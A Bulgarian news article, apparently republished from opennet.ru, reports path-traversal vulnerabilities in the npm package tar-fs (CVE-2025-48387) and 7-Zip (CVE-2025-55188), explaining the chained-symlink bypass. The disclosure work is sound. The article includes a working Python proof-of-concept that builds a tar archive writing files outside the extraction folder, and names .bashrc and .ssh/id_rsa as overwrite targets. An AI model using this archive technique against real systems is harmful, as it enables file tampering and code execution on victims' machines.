Уязвимости в tar-fs и 7-Zip, позволяващи записване на файлове извън основната директория

В NPM пакета tar-fs бе открито уязвимост (CVE-2025-48387), която позволява при разархивиране на специално оформен tar архив да се запишат файлове в произволни части на ФС, без да е ограничено до директорията, в която се извършва разархивирането (в границите на правата за достъп на текущия потребител). Уязвимостта може също да се използва за презаписване на съществуващи файлове, например за организиране на изпълнение на собствен код в системата, могат да бъдат презаписани файловете „.ssh/id_rsa“ или „.bashrc“ в домашната директория на потребителя.

На уязвимостта е присвоен критичен ниво на опасност, като се има предвид, че пакетът tar-fs има 23 милиона изтегляния на седмица и се използва като зависимост в 1155 проекта. Уязвимостта е отстранена в версиите 3.0.9, 2.1.3 и 1.16.5, които бяха пуснати през май, но информацията за уязвимостта беше разкрита едва след почти 3 месеца.

Уязвимостта е причинена от недостатъчни проверки на наличните в архива символични и твърди линкове относно техния изход извън целевата директория за разархивиране. За заобикаляне на проверките се използват две символични линкове: първият указва на кореновата директория на разархивиране на архива („.“), а вторият е създаден относно първия символичен линк и използва в името си символите „../“ за излизане извън основната директория. Например, първият линк „noop/noop/noop“ указва на „.“, а вторият „noop/noop/noop/../../../../“ се разкрива като „./../../../../“. За организиране на презаписване на файлове в архива може да бъде създаден твърд линк, който сочи към външен файл относно втория символичен линк. import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))

Подобна уязвимост (CVE-2025-55188) е установена в архиватора 7-Zip. За запис на файлове извън основната директория в 7-Zip могат да се използват символични линкове, съдържащи последователност „..\/“ в файловия път. Проблемът може да бъде експлоатиран при разархивиране чрез 7-Zip на всякакви архиви, които поддържат символични линкове, например zip, tar, 7z и rar. Проблемът е отстранен в версия 7-Zip 25.01.

Източник: opennet.ru

Купете надежден хостинг за сайтове със защита от DDoS, VPS и VDS сървъри 🔥 Купете надежден хостинг за сайтове със защита от DDoS, VPS и VDS сървъри | ProHoster